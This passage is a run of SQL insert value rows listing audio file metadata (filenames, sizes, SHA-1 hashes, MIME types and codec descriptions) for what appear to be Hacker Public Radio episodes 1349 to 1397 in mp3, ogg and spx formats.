(1349,'hpr1349.spx','spx',3819128,'d7ec3e829ad5c63e06167ac04235f78759f5dc21','application/ogg; charset=binary','Ogg data, Speex audio'),
(1350,'hpr1350.mp3','mp3',25103953,'3953e46c1329d67421e86ae24b9c818e23c0515f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1350,'hpr1350.ogg','ogg',28480950,'f1c3f0ec3e1f3af1d4c7c3b838fb99a3e762b793','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1350,'hpr1350.spx','spx',11211339,'28917187681a23fb8bcdbab56cfd4193d5edb997','application/ogg; charset=binary','Ogg data, Speex audio'),
(1351,'hpr1351.mp3','mp3',19393096,'74b5397d9d23d84d0971328a074a36e4261d893f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1351,'hpr1351.ogg','ogg',17605113,'f63dd1ca5c829af897d5c5f4f8b8b9b9cc062f3d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1351,'hpr1351.spx','spx',8660871,'9d82302557ccd6f048f55c0a4d1c13ca3d1d8bbb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1352,'hpr1352.mp3','mp3',78214424,'1b10feb8dbaa99373e553c13aa5653e64f2eba5b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(1352,'hpr1352.ogg','ogg',272449331,'3ee127039d38350dc0625d8136052fe8841cf7e9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~499821 bps, created by: Xiph.Org libVorbis I'),
(1352,'hpr1352.spx','spx',17465584,'0ea39bb4d86dee7c1056af829aa6699e4360d981','application/ogg; charset=binary','Ogg data, Speex audio'),
(1353,'hpr1353.mp3','mp3',20538173,'84f0d90d826e7521460ffd8f876d8b2d1928a069','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1353,'hpr1353.ogg','ogg',20092302,'214b77733cb27f4d30c4efaa3937842b5c80bf11','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1353,'hpr1353.spx','spx',9172221,'da5e49a39e91709cbacc1db38791b36381d2d8ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(1354,'hpr1354.mp3','mp3',15292498,'9dc884a47544902641ef314342178802c5a44ea5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1354,'hpr1354.ogg','ogg',12907453,'a642f2da46c8770fc57d143b2132951bd8d08cfb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1354,'hpr1354.spx','spx',6829442,'63699392f6013b104949aa5d5efe30774af0bc5b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1355,'hpr1355.mp3','mp3',8732272,'6b511863dd2c2eea639b82de3acf6294bb762452','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1355,'hpr1355.ogg','ogg',9722010,'4a2c5e738d7c7023e84b2146f0b24c3856fcaddb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1355,'hpr1355.spx','spx',3899748,'045d1b84e31c67f8c0b1793e07dd0475aec4d4e4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1356,'hpr1356.mp3','mp3',11712240,'8d3e91517656f86dad7d9aeccf8cb0d26cbdea61','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1356,'hpr1356.ogg','ogg',15000005,'088d0fcf25ca7e78e2e484114d5e9a3e5834547e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1356,'hpr1356.spx','spx',5230515,'d416fd857d40fcbe91d85d3659cb7ca029c2bf30','application/ogg; charset=binary','Ogg data, Speex audio'),
(1357,'hpr1357.mp3','mp3',9966411,'74b54b230e2dd8ea2f63cff437ef7ab73e4918dc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1357,'hpr1357.ogg','ogg',10662196,'01735e1d4f8027fb46de49652595c09908d2f6ae','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1357,'hpr1357.spx','spx',4450902,'153af06883f4b63dddaa840cd6f9fec733a63266','application/ogg; charset=binary','Ogg data, Speex audio'),
(1358,'hpr1358.mp3','mp3',24865290,'6fa34c9ee4e30fcc57fb2cd2b5b83479fe35068f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1358,'hpr1358.ogg','ogg',23096013,'a58101f23d1d414c03c1ada9d1bf50bfcf3e0869','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1358,'hpr1358.spx','spx',11104775,'ccaba76b1e532b9b265e61c3b43d1eef53e15169','application/ogg; charset=binary','Ogg data, Speex audio'),
(1359,'hpr1359.mp3','mp3',8125392,'0e417b3cafc671ebed36e2fabfed0fcdfcab0486','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1359,'hpr1359.ogg','ogg',7282271,'bf45564886864b52db4e10e08580d1107750c727','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1359,'hpr1359.spx','spx',3628516,'87a636d79c960301f8ca4506a19e3ab590437530','application/ogg; charset=binary','Ogg data, Speex audio'),
(1360,'hpr1360.mp3','mp3',54926105,'7433094cbe401459d20df5381f4703e9685088e9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1360,'hpr1360.ogg','ogg',50748725,'1b0dbc1784795b31aeb457224164cd4cf5ee6b54','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1360,'hpr1360.spx','spx',24530249,'82fe74851f5b7a2522140e31a0e9477f068d7a91','application/ogg; charset=binary','Ogg data, Speex audio'),
(1361,'hpr1361.mp3','mp3',9579501,'a5b8a6508c0a443540b6260eada2001e5219c4d3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1361,'hpr1361.ogg','ogg',10503603,'25ae6d60e0bd12c249082c60b398a551f5950b8e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1361,'hpr1361.spx','spx',4278054,'bb4032ae00526ed1487a1b6096b21d94479ac957','application/ogg; charset=binary','Ogg data, Speex audio'),
(1362,'hpr1362.mp3','mp3',10139972,'c1749aa65311c23834b0a9972c51bfed7e2b7ee4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1362,'hpr1362.ogg','ogg',11045770,'4eaa2d1214932d4c3ab420a68c2845381545b1ed','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1362,'hpr1362.spx','spx',4528245,'198aba156cf6fbf44da1c9e15c8197f80b618434','application/ogg; charset=binary','Ogg data, Speex audio'),
(1363,'hpr1363.mp3','mp3',9421895,'9d6aae609bce6d7d33455b19e645d14cbee34700','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1363,'hpr1363.ogg','ogg',11731294,'06b98f31f21862c289ee33304220206797c521be','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1363,'hpr1363.spx','spx',4207597,'2dfac450c4428afe86c3087e21b155247e6ea5e0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1364,'hpr1364.mp3','mp3',8224319,'ae041c51c4b1add9c1bff46b84caf0c20413c037','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1364,'hpr1364.ogg','ogg',9270073,'a4081db7f6959ceafa1986976fedee0b748ec1dd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1364,'hpr1364.spx','spx',3672848,'10cd681938d1ddb8b566e80d09d4044037dc55b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1365,'hpr1365.mp3','mp3',10659112,'66e1d48e31d09fe980a822f539a524067c844015','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1365,'hpr1365.ogg','ogg',13161518,'7876f3fd59fcb2f92d6409e2061863e9b9ff9240','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1365,'hpr1365.spx','spx',4760159,'2fb1df8a893129148cf9a95e1b6b9502f260640f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1366,'hpr1366.mp3','mp3',13977260,'20fd5f07ceee7afc6f28ea249a01976827b03c81','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1366,'hpr1366.ogg','ogg',12399605,'6063e5cf97647b11f5f57397b497bada16e586a7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1366,'hpr1366.spx','spx',6242031,'fe087e9df29560be30665f7597999e216a00cdba','application/ogg; charset=binary','Ogg data, Speex audio'),
(1367,'hpr1367.mp3','mp3',4867173,'995de514a09639243b460792cc404ea87d3b0ac5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1367,'hpr1367.ogg','ogg',5404614,'24490b3c7a90bbd2dae783ea7d6a0705b6b00b67','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1367,'hpr1367.spx','spx',2173341,'ea062cb6aac2414ac24848e7306f3ae4d3bdb67e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1368,'hpr1368.mp3','mp3',6481368,'04427f8ae4c0c9e9c63ba849bac2126f5590a052','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1368,'hpr1368.ogg','ogg',7536884,'6380985d3781be7b2095070e782f4fbb2e2f3922','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1368,'hpr1368.spx','spx',2894382,'5e4cd0ea5591b94ed58b99e00f79a77ebcca91b3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1369,'hpr1369.mp3','mp3',6505384,'dadbbe0ae33993dfff089b287c653ef1ab74f799','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1369,'hpr1369.ogg','ogg',6852040,'645de7765f6af4aecb8e7be8e6c170e7a6198580','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1369,'hpr1369.spx','spx',2904999,'a67507c8e65cf1e8da7fe107d26c3982be4753bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1370,'hpr1370.mp3','mp3',12097271,'b9a26f1647b3eeaaedc1012eff507bba322ff58a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1370,'hpr1370.ogg','ogg',12583510,'05f96247e416d783bb40615ad172ed4a5b55c3d3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1370,'hpr1370.spx','spx',5402400,'79a7bc09f3d34d8e50152153537102ebb70ffe23','application/ogg; charset=binary','Ogg data, Speex audio'),
(1371,'hpr1371.mp3','mp3',21461433,'b75fb5c870a99e3f43401b8d791df5e75b22f1cb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1371,'hpr1371.ogg','ogg',19705821,'5756fd90d06afff844dd2ffa008ca51358b472ca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1371,'hpr1371.spx','spx',9584598,'7627030bac3de312d490328e87095fd0573aa996','application/ogg; charset=binary','Ogg data, Speex audio'),
(1372,'hpr1372.mp3','mp3',5439857,'a33a92fb925356581d7428aac333ccb8e3790080','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1372,'hpr1372.ogg','ogg',5839546,'36da90fb44708195bd15b018af3a0bfe51f937ec','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1372,'hpr1372.spx','spx',2429251,'229712174dc10cb87edfbb0656757a6b1fda8442','application/ogg; charset=binary','Ogg data, Speex audio'),
(1373,'hpr1373.mp3','mp3',10752927,'df027928ff118613ed6c9133d28986d4f5b0dd83','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1373,'hpr1373.ogg','ogg',11852137,'3d99deff204884d0fb04c2e64cf22ead4396c541','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1373,'hpr1373.spx','spx',4802020,'a8f66d15b6790a23a3238fae9f31414cb475ef06','application/ogg; charset=binary','Ogg data, Speex audio'),
(1374,'hpr1374.mp3','mp3',5424964,'326649f4ae947f11837edef122842fdf5a4f31b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1374,'hpr1374.ogg','ogg',6191403,'ddf80917023772d75a0e7e0f6c0e5319b3a5c852','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1374,'hpr1374.spx','spx',2422535,'86a28bc8560ef3931689a90fef480e7e59776754','application/ogg; charset=binary','Ogg data, Speex audio'),
(1375,'hpr1375.mp3','mp3',9945643,'63e97f33be7685768f45614a8c7edec783003c81','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1375,'hpr1375.ogg','ogg',12385696,'b27655c7d42cea0eec7914affe0acaa41d28484c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1375,'hpr1375.spx','spx',4441533,'aa2a238a76f46cef97ecedbb59cb57c002edb9ea','application/ogg; charset=binary','Ogg data, Speex audio'),
(1376,'hpr1376.mp3','mp3',16965872,'cd6b88e56f32efa9ea6c826d008d55d390a56de7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1376,'hpr1376.ogg','ogg',15645889,'aed21fc3ca6c781dbe093698119bf1c178aa8302','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1376,'hpr1376.spx','spx',7576867,'c99b23e532ae1c7008ab2584293e4aa208568eca','application/ogg; charset=binary','Ogg data, Speex audio'),
(1377,'hpr1377.mp3','mp3',11323440,'b45338fd60f1820bfe17b1a03112aec8fdf1bff0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1377,'hpr1377.ogg','ogg',13173986,'380ab71ba6ab18c09f1afd7d25c63ae920632a49','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1377,'hpr1377.spx','spx',5056921,'30cea14ce927b41f0281c476a1efdf8501e6e446','application/ogg; charset=binary','Ogg data, Speex audio'),
(1378,'hpr1378.mp3','mp3',11510242,'8f0de6edf3a0fc3276d6660103f968d9a18a84fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1378,'hpr1378.ogg','ogg',10125267,'db79d9889bb3eb92881c2b6ef91afed85f25bb9c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1378,'hpr1378.spx','spx',5140292,'ddc59a6bfd18762a1101088705a97148bb0669a2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1379,'hpr1379.mp3','mp3',11828518,'b81de04468efcede1e82b002a4e3eb04a91bfd6e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1379,'hpr1379.ogg','ogg',11125343,'2ffedd8f34cb9f23315987b79e339a3bc9f9b003','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1379,'hpr1379.spx','spx',5282402,'a612886970242d1f906a4475f40bbe8948163011','application/ogg; charset=binary','Ogg data, Speex audio'),
(1380,'hpr1380.mp3','mp3',21217768,'5bed78982fca618ca78fb9159409e6739634d002','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1380,'hpr1380.ogg','ogg',20635065,'3c70084bd414b9b5188e83ab0e70062e02802ff0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1380,'hpr1380.spx','spx',9475766,'00ce34b49bdbd05373e2077f6f9fee0b9aa30487','application/ogg; charset=binary','Ogg data, Speex audio'),
(1381,'hpr1381.mp3','mp3',27460219,'1968b5b47fc8d85fa70bde60b8dd14f1a02ec093','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1381,'hpr1381.ogg','ogg',28166381,'e1421c4268de28ce61edc976eee5e4f97e295ee3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1381,'hpr1381.spx','spx',12263702,'383c57522fe4b0cd93c96013e35368ef6b68f71c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1382,'hpr1382.mp3','mp3',11325431,'8dcf7fb4356767b8042e34919c7aa25a3d52cf8e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1382,'hpr1382.ogg','ogg',9267963,'182e6f6d8a726e200617488ca1c16a71f86ce8c7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1382,'hpr1382.spx','spx',5057815,'2c82b5f0eef72c9d1d63d8f198cfef9b7dfd20e8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1383,'hpr1383.mp3','mp3',23698743,'df88ccf90668ba513aed2a884289753efdf47c79','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1383,'hpr1383.ogg','ogg',20258401,'f252562ba2dece2551214ade4f3bf2d87b8d5a8d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1383,'hpr1383.spx','spx',10583794,'5e41ccc42cd6b54cf23ff909a24dbcc8a26eae8f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1384,'hpr1384.mp3','mp3',5308366,'58a6b82b31387d3275bbc312e2b3a180f76257a7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1384,'hpr1384.ogg','ogg',6217678,'1c188e58ebdb439269ea177c7856f097cd34c65d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1384,'hpr1384.spx','spx',2370463,'f0944933af2c8b2e2ffc19a5646b247b7a2558a0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1385,'hpr1385.mp3','mp3',12009119,'7229a6b8241086df29f6a98abfdee81406db27fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1385,'hpr1385.ogg','ogg',14935312,'0a7997466fd78edb312da3b9eb3b27993d9f727e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1385,'hpr1385.spx','spx',5363117,'9a8881b9aaab97afaf110298516b57ba67f4d8b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1386,'hpr1386.mp3','mp3',36064307,'c807c9a12e7aba62f02781857e9eb5c1dd32e9eb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1386,'hpr1386.ogg','ogg',33763656,'271c06b72220d29ecb1f0605d5f2d303cba9386c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1386,'hpr1386.spx','spx',16106405,'e9386fa5ae799d5c801e6ca03310a42b879f0b51','application/ogg; charset=binary','Ogg data, Speex audio'),
(1387,'hpr1387.mp3','mp3',14685267,'17c25a7d028c74ef6d700b33d4ab90925717f37c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1387,'hpr1387.ogg','ogg',18045099,'ae49e7aa6e5814fc647d74d96afec16bb06a5f71','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1387,'hpr1387.spx','spx',6558288,'805ca472aa62c72039df6db29533426315af3618','application/ogg; charset=binary','Ogg data, Speex audio'),
(1388,'hpr1388.mp3','mp3',4913318,'69c1c55472a9b5a47d14cf519343f460f0a7cef2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1388,'hpr1388.ogg','ogg',4802206,'2b9a0c0a7e71a00d578cc284977f3ce8ca390969','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1388,'hpr1388.spx','spx',2193994,'d05bee9a89059426e5a30a355a04643ffd9e4e41','application/ogg; charset=binary','Ogg data, Speex audio'),
(1389,'hpr1389.mp3','mp3',2287071,'715636072631231ef632f0d810c82752cf66f8a9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1389,'hpr1389.ogg','ogg',2301700,'7468205bbabcc5df09feb14f09cd60bbbcbf0b1d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1389,'hpr1389.spx','spx',1021177,'b1baf0c8115aabb7c620339eeec1f9c50430ec70','application/ogg; charset=binary','Ogg data, Speex audio'),
(1390,'hpr1390.mp3','mp3',10710252,'c52204a2a28fe370ebd9df269a9c2fdb1b91b7c8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1390,'hpr1390.ogg','ogg',11862292,'04121e1785e68c28a675ece2d3f12f8d89b218c5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1390,'hpr1390.spx','spx',4782912,'3cc1f8f032f6f5066209506d10ad8505c2c63525','application/ogg; charset=binary','Ogg data, Speex audio'),
(1391,'hpr1391.mp3','mp3',8252046,'71ee1d434671f9c0ae6c27f3ba5ccd809aa94704','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1391,'hpr1391.ogg','ogg',10436065,'ad71cae03a902e8831cde3517b2ceb10267f2183','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1391,'hpr1391.spx','spx',3685111,'22758824e6b4948aeceadb6c68ec5a492bfd8579','application/ogg; charset=binary','Ogg data, Speex audio'),
(1392,'hpr1392.mp3','mp3',8444325,'22f3bb958657a2a25436ad7d2ce105dc2a2481ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1392,'hpr1392.ogg','ogg',9176264,'8356dfe5e1db5fbec2d548b47365d200bacc8b99','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1392,'hpr1392.spx','spx',3770972,'83a4d712c2a2825f29504d3c18194d7903e08cf6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1393,'hpr1393.mp3','mp3',22019797,'d4f950e1840e61d278bb66ce5c24cefaf5c7a209','application/octet-stream; charset=binary','Audio file with ID3 version 2.3.0'),
(1393,'hpr1393.ogg','ogg',21168993,'18aadb495e99ea595feb5b063027e66cf4f46899','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 48000 Hz, ~60000 bps, created by: Xiph.Org libVorbis I'),
(1393,'hpr1393.spx','spx',12833621,'13f7a27caf849807e1f1adf774d3995ec18ec0fa','application/ogg; charset=binary','Ogg data, Speex audio'),
(1394,'hpr1394.mp3','mp3',5583375,'4105a6fb75b02427e9a973c2b5df8f1e401fc2d7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1394,'hpr1394.ogg','ogg',6431557,'e2ab6c064bea41f009613fe348da79e846f50632','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1394,'hpr1394.spx','spx',2493289,'470d0ce8bf009988b692058287eb8f1c012ac38b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1395,'hpr1395.mp3','mp3',6024102,'eecf6c71dfcdbcab54fc34953de4b2f7033fb3fc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1395,'hpr1395.ogg','ogg',6642939,'cf114e669dcd28ccbf73db17984ef54925cce4aa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1395,'hpr1395.spx','spx',2690054,'c3b8e1356ba287472ab5925d167cb8655b654b87','application/ogg; charset=binary','Ogg data, Speex audio'),
(1396,'hpr1396.mp3','mp3',5900678,'2dd63a1f2de8c6684260a39bec6f4e17b9792c53','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1396,'hpr1396.ogg','ogg',7061731,'c90ca8ea491acf7531462b826865832cc5c21f7b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1396,'hpr1396.spx','spx',2635044,'ec23a222388c323ec3c52c99e9ae604d91d73246','application/ogg; charset=binary','Ogg data, Speex audio'),
(1397,'hpr1397.mp3','mp3',37875543,'a060060f3584719de29b93ecbabc194532f22d4d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1397,'hpr1397.ogg','ogg',33294692,'09da4bed49ab0a775fe71c2003a08b667e853329','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1397,'hpr1397.spx','spx',16915243,'09b1c92320c0b5c45761ba5b803e3ca70308868e','application/ogg; charset=binary','Ogg data, Speex audio'),
